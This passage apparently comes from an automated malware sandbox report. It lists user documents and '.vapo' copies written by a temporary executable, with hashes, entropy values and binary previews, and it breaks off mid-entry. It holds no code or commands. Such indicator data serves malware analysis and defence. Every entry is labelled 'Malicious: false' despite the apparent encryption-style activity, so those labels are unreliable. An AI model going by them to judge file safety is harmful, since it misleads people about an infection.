SSDEEP:	24:Jyd/XChmEvhEdbGkL+Ov1+LgShtWoPciGOFErY9sEDSmvNgsbD:JGSmIOd+LgCthFGVrYlWwD
MD5:	52282532C7DC2A7E22EE59004730D9AE
SHA1:	BCFE770BCAE6BCAD73AA4C67F8243203C704C754
SHA-256:	C9E0F3400701C647CA158D75D610AF11717DC4D06FB810B9935CD76E8C70AC34
SHA-512:	A576AB73B4557739D6CE094037C63F67C7FF497BEACF3D862CBB477760ABFBE12CAAE18570C6C703C67567BFB853B1026EECAB84201C319BD9A120AB2F5FAB52
Malicious:	false
Reputation:	unknown
Preview:	VWDFP..&sb.T+,..~......T+9.........}".A.k.a.ec)SL.p.K.!^.....4.[.1u........2..d.}4.7Z....(W$Gj.,.S...[...l.....Y..,.e..<...Q$....{I(Of'7.xA.}....x...BKI..W.X.....z(....,wA.Su....,Je..Zp_.R.x..dr.$N.p..c..Q.?.P.v.T.2.3....q..a@...]k.....3.J,I.1....n.Q;...U..^...^U.b...I.c.S..I.+..b....Ad.}.sM..a..v&,.....pq...JHP.'K.a.g4/.....<....$r.taweS+G46..........4.q.X75..5.x.......eP..O!c..O'...B.M"..2.]..4... .xO..2TZ.P..t...9*...e=..W3.K.....0.B,....S...w.c.k8:..-p[.1..o.~.\|....?n.@...Z.. .....#e...:....I0m".5.a.x.g...P..#H.A.jQi7..K.D.CH\|...../...lA.THW......PNdb..#..=..UC'.db..u.....r....z...L'~<..~....yV........P.`Pd.q....z.&O./?.>W.I..%T..."......@....f...7G...w.U0.#v#";.)..MlKJk{rE.d..n.r...6.h.~.f.C.......Y.... J.....o.k._."C...rF.......L..i.YK. ..pqq_..X..8Omy:<k[Ax.....s......d..{c..T ...0.pA.e(".$.r;m.-./...'........Q.:...8mz" .1%}..........4K.."...N........Q....VH.Y..}]...j!...T..c...I...K.L..(......o.V/L...3n^+.or..!..]..=c..R..v

C:\Users\user\Desktop\ZIPXYXWIOY\ZIPXYXWIOY.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862257688007412
Encrypted:	false
SSDEEP:	24:7ZMWvmkF/8K9JykCvfsVzKRMhynfI/j/NsScFKoJ6tuES0FtL8YIbD:KoD8qCuY9ShzAJYuSLL8BD
MD5:	9882DB4761AA9053F89EE22C7C6E09D4
SHA1:	8729067A13C3A15D125D9D3ADFBBC898E3F30658
SHA-256:	C32E711F37EC4854CF74FA211EE7DDE2DC5EFB5C40331EACA1C0D9FE9F7EA581
SHA-512:	983219571974074EF8A9FA5BD50DC8EABA75EDCFC1C8D8402E09DE528CB0845C8B8D8827DA1069A3ED65FF1AE61575BAF6655A449F21B5DF9D4025F932749E6B
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY./...k[.G... _...;.."....R.(...b-...X'...w.-.....s..."e.7...C...Z.\..\|5..j.8..^..7...w....<.d....7i.HBQY.....m..I.>....K....K0V...}.J4.....N...#.'/.K......H\|....Q.-...Z.k....[.D..<..$... N.A.QB...5.... rW..^6..\|..^@.NQ.h...\r....e..d.z......1.Y..{+3h6Wa.+.r...Cq..'jw..@..W.A.T@..3.n..[.I..s.).~..NVZ.Y,...T....1..fM.=.L.#...b..;.=......(y..IB.s,;4D...J..H..l...v..${..e'.sN...+A..Y...cDc.D......M....Ywr...5.o........Z..7....^......._....S...J>+.eW....\|...tJ._6f..z..m..Y.....). ....F.....@..4.U.1.H#u?>Qo.y.v.\|......j.3....I.<..x.82.b.)..6...yFT.n.P.F.............Y9.L.g.d..L..&...Uj...7kz..~DL.6.3jr5R%..ye.<............n.}...S..:z.o...W..$<..-..uC[=.w....j.S.P.M...W......$....~i.G...y......C..G...^.c.d.......c..8...~..[...r..y-.&..B#.HRU0ZR0.a9..&.....#b.+B..)...x'wd..N..A../....v@S........q.P ._.`2...}S...kg..].#.od...H..\|.g.k..T.!..ukn/.......<....:......2Vo.6`?3.\|m\'..O.\...).....;....b_..3>......4.=.dE.(...U_.Z..}y..2Z.Kp..O..h)9....

C:\Users\user\Desktop\ZIPXYXWIOY\ZIPXYXWIOY.docx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862257688007412
Encrypted:	false
SSDEEP:	24:7ZMWvmkF/8K9JykCvfsVzKRMhynfI/j/NsScFKoJ6tuES0FtL8YIbD:KoD8qCuY9ShzAJYuSLL8BD
MD5:	9882DB4761AA9053F89EE22C7C6E09D4
SHA1:	8729067A13C3A15D125D9D3ADFBBC898E3F30658
SHA-256:	C32E711F37EC4854CF74FA211EE7DDE2DC5EFB5C40331EACA1C0D9FE9F7EA581
SHA-512:	983219571974074EF8A9FA5BD50DC8EABA75EDCFC1C8D8402E09DE528CB0845C8B8D8827DA1069A3ED65FF1AE61575BAF6655A449F21B5DF9D4025F932749E6B
Malicious:	false
Reputation:	unknown
Preview:	ZIPXY./...k[.G... _...;.."....R.(...b-...X'...w.-.....s..."e.7...C...Z.\..\|5..j.8..^..7...w....<.d....7i.HBQY.....m..I.>....K....K0V...}.J4.....N...#.'/.K......H\|....Q.-...Z.k....[.D..<..$... N.A.QB...5.... rW..^6..\|..^@.NQ.h...\r....e..d.z......1.Y..{+3h6Wa.+.r...Cq..'jw..@..W.A.T@..3.n..[.I..s.).~..NVZ.Y,...T....1..fM.=.L.#...b..;.=......(y..IB.s,;4D...J..H..l...v..${..e'.sN...+A..Y...cDc.D......M....Ywr...5.o........Z..7....^......._....S...J>+.eW....\|...tJ._6f..z..m..Y.....). ....F.....@..4.U.1.H#u?>Qo.y.v.\|......j.3....I.<..x.82.b.)..6...yFT.n.P.F.............Y9.L.g.d..L..&...Uj...7kz..~DL.6.3jr5R%..ye.<............n.}...S..:z.o...W..$<..-..uC[=.w....j.S.P.M...W......$....~i.G...y......C..G...^.c.d.......c..8...~..[...r..y-.&..B#.HRU0ZR0.a9..&.....#b.+B..)...x'wd..N..A../....v@S........q.P ._.`2...}S...kg..].#.od...H..\|.g.k..T.!..ukn/.......<....:......2Vo.6`?3.\|m\'..O.\...).....;....b_..3>......4.=.dE.(...U_.Z..}y..2Z.Kp..O..h)9....

C:\Users\user\Documents\CZQKSDDMWR.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822074278398242
Encrypted:	false
SSDEEP:	24:pu/FJBegbm9S0gyimRKMKwwYjMX+Cp7QoHkLiW5y+wBeJPFFGLsycfkZGfNnPFxB:8JYFJgfY8/X+WEIP4JtFw9GgGfNnHJvD
MD5:	17EC258AD5D7C7F53CBAA0A101F1BE22
SHA1:	D7F8A49809ACC87602E494C27882CE4F9CE5CE23
SHA-256:	902F35898B5D17A1FD44C4C4976F478ECF7FBCC6648923356801DE0809161935
SHA-512:	C74195071C652565780E8A704C761527FEB00914028245B1001CDEB33031CFDEE4C630CD52341DD76266079F121CA2EA429AE72A9C711C00F2786B046C540140
Malicious:	false
Reputation:	unknown
Preview:	CZQKS%._IA..L.w...........\....mqb..../n...Qq...av./.@._.=.A.5t.o..........q....jJ\|Z.....+.].x..3...G......~.=,.B.....q..`..K.~/.CT....-Z5.$.\|..9...v.3'.y..O...5{..&.\o6.r.....meH,..%.Nf...9..Tf..c$..'...Q]....=.]..v..Y...uh..."..L^hs-+.Jja. Fsx8.l./$.p8.L....C.^.=.D..9....[xg..\[<......7.n.M%........._.b..u.....R\|.zA...........\|.O.\|..j..[...9.<........I.... .H9.I.=.~+.[..Y.U...wE.mw.,..x..gdYj.q..;3R&...v...K.3..m.r......n@.5.4.9v.....d.#..ln.b\.....8...#.d...wZ..z4..,.....y.:T;n.A.1.V........l...j..,.....].T..C.tp.._b.n...{...!x...%Mov.^0.)......-.H.H.,tQ......awQ..0..b.^h.......@........4}.Z.*.&.....Q.:.@..dK.nv[g(.\.......94~.,.6..X.W.4b....S=.[..oa..~.^.=r......[N.4(7.......w..i..;......2......@.......R.g ..L.Y\uZ..e........ee.m..+C..._Ql......^........~s2..nE%.........^...OKtU.J...e..F.Y........L..q.......A....K..f..5z.H.;.. 93K.G......jw..>..M.W.7G9.._T.G....:.l...Y.S3&G..8.. ....l...F....d..`..N).;..2....SoH....O}.wg..x..K.J.g.

C:\Users\user\Documents\CZQKSDDMWR.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822074278398242
Encrypted:	false
SSDEEP:	24:pu/FJBegbm9S0gyimRKMKwwYjMX+Cp7QoHkLiW5y+wBeJPFFGLsycfkZGfNnPFxB:8JYFJgfY8/X+WEIP4JtFw9GgGfNnHJvD
MD5:	17EC258AD5D7C7F53CBAA0A101F1BE22
SHA1:	D7F8A49809ACC87602E494C27882CE4F9CE5CE23
SHA-256:	902F35898B5D17A1FD44C4C4976F478ECF7FBCC6648923356801DE0809161935
SHA-512:	C74195071C652565780E8A704C761527FEB00914028245B1001CDEB33031CFDEE4C630CD52341DD76266079F121CA2EA429AE72A9C711C00F2786B046C540140
Malicious:	false
Reputation:	unknown
Preview:	CZQKS%._IA..L.w...........\....mqb..../n...Qq...av./.@._.=.A.5t.o..........q....jJ\|Z.....+.].x..3...G......~.=,.B.....q..`..K.~/.CT....-Z5.$.\|..9...v.3'.y..O...5{..&.\o6.r.....meH,..%.Nf...9..Tf..c$..'...Q]....=.]..v..Y...uh..."..L^hs-+.Jja. Fsx8.l./$.p8.L....C.^.=.D..9....[xg..\[<......7.n.M%........._.b..u.....R\|.zA...........\|.O.\|..j..[...9.<........I.... .H9.I.=.~+.[..Y.U...wE.mw.,..x..gdYj.q..;3R&...v...K.3..m.r......n@.5.4.9v.....d.#..ln.b\.....8...#.d...wZ..z4..,.....y.:T;n.A.1.V........l...j..,.....].T..C.tp.._b.n...{...!x...%Mov.^0.)......-.H.H.,tQ......awQ..0..b.^h.......@........4}.Z.*.&.....Q.:.@..dK.nv[g(.\.......94~.,.6..X.W.4b....S=.[..oa..~.^.=r......[N.4(7.......w..i..;......2......@.......R.g ..L.Y\uZ..e........ee.m..+C..._Ql......^........~s2..nE%.........^...OKtU.J...e..F.Y........L..q.......A....K..f..5z.H.;.. 93K.G......jw..>..M.W.7G9.._T.G....:.l...Y.S3&G..8.. ....l...F....d..`..N).;..2....SoH....O}.wg..x..K.J.g.

C:\Users\user\Documents\GLTYDMDUST.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8350507573028265
Encrypted:	false
SSDEEP:	24:nk4LwlREz3j4FRxB2K9CtUYIckc3x4h+S5woqOhHa7h1PsD3nUHfjm4sbbD:n3LyEz4R9CrIckB+S5OOFa7hVsIC9fD
MD5:	0968D58022AC916C9C57398570193DCC
SHA1:	3D78C17D2483613E79F4D87005736AECFFC9B40F
SHA-256:	79407E91230C692E8893DE72D4E2FFA419227D83AA3A7353ECE4C5BA034BC8B3
SHA-512:	54CB41D912DB3F8E0172067B8ADC85158813E40CFD9830B3CD90DE5979FFCCB0A166C86BEF497BE2A8C7AA1FF04E6B34F81CD2B8B0BFCCFCF9ABA74DED1A9B40
Malicious:	false
Reputation:	unknown
Preview:	GLTYD...i...{-.9......s.<...........V......'.hJ..L~...0=`..21i...@...."c...=.)tn.......e......O...~c.f+`^.d.r.Ei...X..-.....%...=...[.`p..jE.p..)...FY:..)..6......9.}Q.`.it&H.O.$..}.5......L..y...2.....`.lk.P.`gl.'y.(/..u..G0....O..c2..5.._.....%...ZZ>.Vi.?Z9..C.........;.......K.Mi.b.3..am.A.a..B....M..8x.....Fc2VO.......7Eg5...RE[.V.V..,!9.FT[.Hs..._......E. ...~.....^..a.k^a.{p......?.n..G+ ]^....O......ckEf......w....$.%.....A..`..2.J>.Q.(Y.&."p....F.iEu.7.3.?d.i..u..>d .7..y&l.n..Z.;Uf<>O.........X.../,.C...!......l..\........f...?tM..h...\J.!$.Z..'...-4..r........xmL.v...#.g.!...<.i.{...'......#.}.......=Tgj......w......>.V........CY.N.x.'-1L..c.2U7..`..{.i.U0...RM'...F.....g..y..mX.....M.....n........p...P../.D......H%...%=..uyE..H..l.c....j~.1..Ox..G.3X.0Q..P.7........h<.\|LB...H.f.b..#-.....N.w..G9N..Z5Ha.z.\..F...k..##..>?0.....0..e\|.)=......\.t....+#..e.L..(...0...R.G..6.BC/`.R..J..0.......).Im.e.}k3o. L.y...`.s....8..X........l..J(Hr...

C:\Users\user\Documents\GLTYDMDUST.mp3.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8350507573028265
Encrypted:	false
SSDEEP:	24:nk4LwlREz3j4FRxB2K9CtUYIckc3x4h+S5woqOhHa7h1PsD3nUHfjm4sbbD:n3LyEz4R9CrIckB+S5OOFa7hVsIC9fD
MD5:	0968D58022AC916C9C57398570193DCC
SHA1:	3D78C17D2483613E79F4D87005736AECFFC9B40F
SHA-256:	79407E91230C692E8893DE72D4E2FFA419227D83AA3A7353ECE4C5BA034BC8B3
SHA-512:	54CB41D912DB3F8E0172067B8ADC85158813E40CFD9830B3CD90DE5979FFCCB0A166C86BEF497BE2A8C7AA1FF04E6B34F81CD2B8B0BFCCFCF9ABA74DED1A9B40
Malicious:	false
Reputation:	unknown
Preview:	GLTYD...i...{-.9......s.<...........V......'.hJ..L~...0=`..21i...@...."c...=.)tn.......e......O...~c.f+`^.d.r.Ei...X..-.....%...=...[.`p..jE.p..)...FY:..)..6......9.}Q.`.it&H.O.$..}.5......L..y...2.....`.lk.P.`gl.'y.(/..u..G0....O..c2..5.._.....%...ZZ>.Vi.?Z9..C.........;.......K.Mi.b.3..am.A.a..B....M..8x.....Fc2VO.......7Eg5...RE[.V.V..,!9.FT[.Hs..._......E. ...~.....^..a.k^a.{p......?.n..G+ ]^....O......ckEf......w....$.%.....A..`..2.J>.Q.(Y.&."p....F.iEu.7.3.?d.i..u..>d .7..y&l.n..Z.;Uf<>O.........X.../,.C...!......l..\........f...?tM..h...\J.!$.Z..'...-4..r........xmL.v...#.g.!...<.i.{...'......#.}.......=Tgj......w......>.V........CY.N.x.'-1L..c.2U7..`..{.i.U0...RM'...F.....g..y..mX.....M.....n........p...P../.D......H%...%=..uyE..H..l.c....j~.1..Ox..G.3X.0Q..P.7........h<.\|LB...H.f.b..#-.....N.w..G9N..Z5Ha.z.\..F...k..##..>?0.....0..e\|.)=......\.t....+#..e.L..(...0...R.G..6.BC/`.R..J..0.......).Im.e.}k3o. L.y...`.s....8..X........l..J(Hr...

C:\Users\user\Documents\GLTYDMDUST.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8407787340984685
Encrypted:	false
SSDEEP:	24:FYHZyk0mv4UWKIpiNT3Z0bpyhb7WGDw3Gvoi5TkpvjqXmg0ooFXbsQ6b+kGbD:FYHZyk0HUvnJKtyhbCr3Gk5jq3otbsoz
MD5:	5CE99EE53AAFCC503A880FE2C69F5D6C
SHA1:	459FD8A1C1CB32C09301488347F9C0DCD9AACBC7
SHA-256:	D87683885288FACA7D0A12AC26C819B14E259F0F27F4D9696FEB71C85378CAF5
SHA-512:	FD34279448D157D8BD61A6250B96F69A677F5F2921453712DF78F2F88E16E4D094766514E362DF0509A082FC8333D170F33A07201BC8100B220B390B2C569F23
Malicious:	false
Reputation:	unknown
Preview:	GLTYD\OdA......J..7t.T...9B..3...W.O...b`..\|T.....5...f! ........Q..~.'...7k.../..w......'... .j.....z.a.6{.W9)}.:.q..PY.....g.+.O...\|....N.C.6..../.....V.xw.5x9?D.&,..a..n..k'.&........x....l:(.18F.'....e..e&.W8.RC..}.9.K......~.%...P...N.'...u.}..4...=%Td....(.n.a.....Y.J..."...CeGB....`^..[)&...3&.^....?D..Fg.iL.l.pK.._@.....T.5..\k-..w.. 6$o...~^eL?.....HB...[i_?..N..Z......c..$i.3..l..nJ$.H0......Y!....X.qB`...zK.S.A..l.....T.v.@.7,.".%.Tz7.....J..~}.........7./`....~.e!.0s T..0Q.<.N\..><..a:...L.....{L.u....Z...Q....2.D..>PSp..3]f...........4..9?.K{.qQ.s........~...~..:"....D.2nADVC.8&p...k...F....TF.y3....n..y2......mg.='....P.gB.}x.!.vv....k...J.Uk.....R..P.`.22..X.X........B. q....H.m....t.Eo#!1..G.....n...6.A.X{.q...w^.p.nJ...VvE.....!.9K..b...fER4...W.is.G.e...8$x.....l..o3n...F^?../....'f....8..F.....N...x..P..n.....\|......Y.......<.C.#/'3O...kyV. M.[..?.N.J#....._...?g.W.9O+.e.!`..%.f...o..L...'.[}.PV.+......S+W....i....

C:\Users\user\Documents\GLTYDMDUST.pdf.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8407787340984685
Encrypted:	false
SSDEEP:	24:FYHZyk0mv4UWKIpiNT3Z0bpyhb7WGDw3Gvoi5TkpvjqXmg0ooFXbsQ6b+kGbD:FYHZyk0HUvnJKtyhbCr3Gk5jq3otbsoz
MD5:	5CE99EE53AAFCC503A880FE2C69F5D6C
SHA1:	459FD8A1C1CB32C09301488347F9C0DCD9AACBC7
SHA-256:	D87683885288FACA7D0A12AC26C819B14E259F0F27F4D9696FEB71C85378CAF5
SHA-512:	FD34279448D157D8BD61A6250B96F69A677F5F2921453712DF78F2F88E16E4D094766514E362DF0509A082FC8333D170F33A07201BC8100B220B390B2C569F23
Malicious:	false
Reputation:	unknown
Preview:	GLTYD\OdA......J..7t.T...9B..3...W.O...b`..\|T.....5...f! ........Q..~.'...7k.../..w......'... .j.....z.a.6{.W9)}.:.q..PY.....g.+.O...\|....N.C.6..../.....V.xw.5x9?D.&,..a..n..k'.&........x....l:(.18F.'....e..e&.W8.RC..}.9.K......~.%...P...N.'...u.}..4...=%Td....(.n.a.....Y.J..."...CeGB....`^..[)&...3&.^....?D..Fg.iL.l.pK.._@.....T.5..\k-..w.. 6$o...~^eL?.....HB...[i_?..N..Z......c..$i.3..l..nJ$.H0......Y!....X.qB`...zK.S.A..l.....T.v.@.7,.".%.Tz7.....J..~}.........7./`....~.e!.0s T..0Q.<.N\..><..a:...L.....{L.u....Z...Q....2.D..>PSp..3]f...........4..9?.K{.qQ.s........~...~..:"....D.2nADVC.8&p...k...F....TF.y3....n..y2......mg.='....P.gB.}x.!.vv....k...J.Uk.....R..P.`.22..X.X........B. q....H.m....t.Eo#!1..G.....n...6.A.X{.q...w^.p.nJ...VvE.....!.9K..b...fER4...W.is.G.e...8$x.....l..o3n...F^?../....'f....8..F.....N...x..P..n.....\|......Y.......<.C.#/'3O...kyV. M.[..?.N.J#....._...?g.W.9O+.e.!`..%.f...o..L...'.[}.PV.+......S+W....i....

C:\Users\user\Documents\GLTYDMDUST.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833212830123773
Encrypted:	false
SSDEEP:	24:00CroUs0HFdJ1/loTGrYGZDoLXTIUb0rYx7y6AFJxSUceqLq2bD:0X8gNGGbZDWc60rYxH4PBc/OkD
MD5:	1488279EFEE47562D0549D827372CC86
SHA1:	66FBC826829B8D01B7CAB990086443F19AF46D15
SHA-256:	13DB5C0B3CD00ABFBD65C9E30267811EB1527FB3CB2984A87B5B3CE7080DC381
SHA-512:	B376F6C5D235CCD1B328337553FFBCD8DF6AF3820814CE1695F04D9A98BDE09E9AEC201BC9707FDD0CE12EC1675B1C08A153BAF9DE4140227DB98F3DEED12739
Malicious:	false
Reputation:	unknown
Preview:	GLTYDY.,...RF..a..M....`........./jw...2K.....3't.5~.=l.1.R.#s...........z......Gc.#...S...AbNLPqy....'....D.S..PO}..2...U......d.<.....m.f.%.Y.7..........?.]....\Y...e/._.E...w?7..@./...z..&...b..w>.\.v..0.C.>3......=.u...........T.....l.9p.....$.F....X.)y.l..'+...`.XZc.....d.u.g..OX....0..M.wi.PEB.F.....D...^..H..........s)9=X.XZ..w9....A..X.....F..Y..P~1[.g...U'.s..T'.......n.......u..ou.`F.....>...c.g.........G..&_A..V..7+.u..B..U...BTl..3...&..l.5...#.".(..Q..i/.cNk,./d...H29.=%x...!...1[.Tw...S@..iI.....?..d.\..7....Yh..-...B...d5.&m.l..Me...jU.j.@.F...8..6.j...wS.:1...F3.Z..rt..x~8i....2E..^.....w.q=.........d.f....R..U.....RIn..R..hL..#M...N&...I..x}.....D.....2....w?e....>.B.<....f....d...N8.l....8Kr$[x..L..g&;...I..d.l,.4.f.NN..c3..~.."..a......z...... W......"~.Q..:s,{..-v.d..D..d.n..."N..r<.h.K..nP....z)...8..I!...V.......v.zz.Pl...UR....`eB........zg$../x...V.I...U....J%g...p.TF.......aKK.x3....I.d/.]<..o.d.....ld.

C:\Users\user\Documents\GLTYDMDUST.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833212830123773
Encrypted:	false
SSDEEP:	24:00CroUs0HFdJ1/loTGrYGZDoLXTIUb0rYx7y6AFJxSUceqLq2bD:0X8gNGGbZDWc60rYxH4PBc/OkD
MD5:	1488279EFEE47562D0549D827372CC86
SHA1:	66FBC826829B8D01B7CAB990086443F19AF46D15
SHA-256:	13DB5C0B3CD00ABFBD65C9E30267811EB1527FB3CB2984A87B5B3CE7080DC381
SHA-512:	B376F6C5D235CCD1B328337553FFBCD8DF6AF3820814CE1695F04D9A98BDE09E9AEC201BC9707FDD0CE12EC1675B1C08A153BAF9DE4140227DB98F3DEED12739
Malicious:	false
Reputation:	unknown
Preview:	GLTYDY.,...RF..a..M....`........./jw...2K.....3't.5~.=l.1.R.#s...........z......Gc.#...S...AbNLPqy....'....D.S..PO}..2...U......d.<.....m.f.%.Y.7..........?.]....\Y...e/._.E...w?7..@./...z..&...b..w>.\.v..0.C.>3......=.u...........T.....l.9p.....$.F....X.)y.l..'+...`.XZc.....d.u.g..OX....0..M.wi.PEB.F.....D...^..H..........s)9=X.XZ..w9....A..X.....F..Y..P~1[.g...U'.s..T'.......n.......u..ou.`F.....>...c.g.........G..&_A..V..7+.u..B..U...BTl..3...&..l.5...#.".(..Q..i/.cNk,./d...H29.=%x...!...1[.Tw...S@..iI.....?..d.\..7....Yh..-...B...d5.&m.l..Me...jU.j.@.F...8..6.j...wS.:1...F3.Z..rt..x~8i....2E..^.....w.q=.........d.f....R..U.....RIn..R..hL..#M...N&...I..x}.....D.....2....w?e....>.B.<....f....d...N8.l....8Kr$[x..L..g&;...I..d.l,.4.f.NN..c3..~.."..a......z...... W......"~.Q..:s,{..-v.d..D..d.n..."N..r<.h.K..nP....z)...8..I!...V.......v.zz.Pl...UR....`eB........zg$../x...V.I...U....J%g...p.TF.......aKK.x3....I.d/.]<..o.d.....ld.

C:\Users\user\Documents\GNLQNHOLWB.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836798746460265
Encrypted:	false
SSDEEP:	24:ZAhZUQ6ZXZ+YFBlRXtH27Mg/A3edWyNP7KsLgrY7/JbD:ZAhqZp+oBX2MgdWDsLg87RD
MD5:	17E4C6D6101EEB41F7BF4C4585186CF7
SHA1:	AFC595249F2AE9ABF91D932C7495EFB0128A4162
SHA-256:	7C16CF21CD43BD165368C85A0B5E561E022B9CE52E472C0DC5F7AFF1406F0407
SHA-512:	59A0E116A5920A060271045360F10B4BD9AF322FD6CDE1756A7FC7B978D465A929988768B32EDEEA57F7C6C4B843795016526FCD5428879373A5DDB586404DD5
Malicious:	false
Reputation:	unknown
Preview:	GNLQN.....7..O..8..{.,..L.8.G..Q.x.0(.2.....8,...YA..I...vr...Mc.@...""../..!.:...]f.f~L.W.....YkD.4y.c~.C..V.e..B.9C.>..._a.ik..1U.j..$..Co....S.C.h..p.).t../.....7..4.......u,.....Y.......Fk..K..B..qa(..^@~6.......4z.....6U7.AR.Do..{..K.&..&!~.R.[..2..u.....H.<....qS$Qu.v{p.-...,.O.....&h..w..Bn.....iR......1..K.9z..3.]e%.%..4K...I"X.....4..3.....\|..^......._!.c..0...V.......^m....e.)g(-..wl.g.j.....Hk.y.K.b3...D.J../.75..M;2..0f.<9.>r..j..%..b....I2....\|..v72....47p.~4;:9....1.I...K.....1ia..^..L.$.E.......$$}.T}..3...Q..T.C(....L..'..>H..%h62>. }....O@...Y).....b.[5D.U.4.TPh:..]..$ktv..e...k....L.r..%...@...$kqO.'b..F\|@G.v..p.k_.!.!...It.F$...Y...1w.&.V....g...../......."..b........UvB.d.FQ.ZI..{..u.B.l.t..Y..z~.K......!6...0....:.W.U...or..g.u..F.X..W....PS.{.....N.4Z$......%..[..PE..F.4...s.K^...2ij......Q.X.o2..g..."b`.g.M..zX..C....%.5H......CX}..b:.lI...P.o.1E..'..H\|t.[...K..:R.<tC..5.yW...&8DY....W.,.W..qy.N.s...>j......\|b.

C:\Users\user\Documents\GNLQNHOLWB.mp3.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836798746460265
Encrypted:	false
SSDEEP:	24:ZAhZUQ6ZXZ+YFBlRXtH27Mg/A3edWyNP7KsLgrY7/JbD:ZAhqZp+oBX2MgdWDsLg87RD
MD5:	17E4C6D6101EEB41F7BF4C4585186CF7
SHA1:	AFC595249F2AE9ABF91D932C7495EFB0128A4162
SHA-256:	7C16CF21CD43BD165368C85A0B5E561E022B9CE52E472C0DC5F7AFF1406F0407
SHA-512:	59A0E116A5920A060271045360F10B4BD9AF322FD6CDE1756A7FC7B978D465A929988768B32EDEEA57F7C6C4B843795016526FCD5428879373A5DDB586404DD5
Malicious:	false
Reputation:	unknown
Preview:	GNLQN.....7..O..8..{.,..L.8.G..Q.x.0(.2.....8,...YA..I...vr...Mc.@...""../..!.:...]f.f~L.W.....YkD.4y.c~.C..V.e..B.9C.>..._a.ik..1U.j..$..Co....S.C.h..p.).t../.....7..4.......u,.....Y.......Fk..K..B..qa(..^@~6.......4z.....6U7.AR.Do..{..K.&..&!~.R.[..2..u.....H.<....qS$Qu.v{p.-...,.O.....&h..w..Bn.....iR......1..K.9z..3.]e%.%..4K...I"X.....4..3.....\|..^......._!.c..0...V.......^m....e.)g(-..wl.g.j.....Hk.y.K.b3...D.J../.75..M;2..0f.<9.>r..j..%..b....I2....\|..v72....47p.~4;:9....1.I...K.....1ia..^..L.$.E.......$$}.T}..3...Q..T.C(....L..'..>H..%h62>. }....O@...Y).....b.[5D.U.4.TPh:..]..$ktv..e...k....L.r..%...@...$kqO.'b..F\|@G.v..p.k_.!.!...It.F$...Y...1w.&.V....g...../......."..b........UvB.d.FQ.ZI..{..u.B.l.t..Y..z~.K......!6...0....:.W.U...or..g.u..F.X..W....PS.{.....N.4Z$......%..[..PE..F.4...s.K^...2ij......Q.X.o2..g..."b`.g.M..zX..C....%.5H......CX}..b:.lI...P.o.1E..'..H\|t.[...K..:R.<tC..5.yW...&8DY....W.,.W..qy.N.s...>j......\|b.

C:\Users\user\Documents\HMPPSXQPQV.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834868577205377
Encrypted:	false
SSDEEP:	24:sDP3lJNRvKDZmPY+P5sOnsM5cvgN1JVI66A2mAJpjMuh2aRjG9j6eW1YI0qppDib:sT/NRC6JBsUc682sRzrjGLWD0q3N/nu1
MD5:	E1EDEE989204BCE9132E9B6290D8BCD0
SHA1:	6EADC9882BE6A3FE65818E11653F9CE09475F988
SHA-256:	681398C8F2927A9B33B87322EB05BB3E705D375F8E53B1D6CC397005E16279A0
SHA-512:	167C9C78F6EA45A4D29F5E5FA26FD089E535C0B3415B41C6DED367F4D31615C2B603E1EC0AB906B96E92DA04F765FDBB292588D5D420F3F7F22F03FFA2CF90EE
Malicious:	false
Reputation:	unknown
Preview:	HMPPS..e;..dzj......x...D+.)...-...u.......1w....>b.D.3......Ha.._.z...Z6!&...(.4.^.[.6i<...54+;..ux/+.J...;ar9.h.n...!5....cb..RW....SGRk......tH....V..YKHr,......\).Wh.c...>..v....n......?d...S. .aS..@...b[r.]yLD.Fl.p...ym.@..R.....\|..6....6....0...r.i..\J.oU..%u..E<..d..]..."H%...O./..aG.N.h.......Y.lF..r.wU.A.98..:...'.C+.q..F.........n.S:..5M.....Z...?..@.r.tG..............I.<.j..<.O..gh.B....i.k..X..^.:.C.._=.<....\|5.j......A..I..)d...vw_n............ik..~....E.+.y....&".lwA...4..c....\|)... ..^...)....(.?.".Z...=...#..yM6.+.!...kN....H.t....B..}.6lc..@e.m.../.......sXP..#...hG.%..N.)g..2..)E.m_r.@..U...o.......&.i...z........W.6.e?&..{I............P..<.I~.v.DL.'`.y.a.....t..B...h....V........4W./.7..\7'.>...!R-.)..T........q.>..vb~QWpW_..o.....'.D.1.f,Q=q..7.f$....E ...5...-..}...e9..P.......4.~.U..q......(qC....Sqa.4..Z...cr.....H2..2.[..N.S.4t?.......f.4.......x...[...P...q.h'....t.6.0.U..k@..k.b....t.0..7'L..{%.[=..R..

C:\Users\user\Documents\HMPPSXQPQV.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
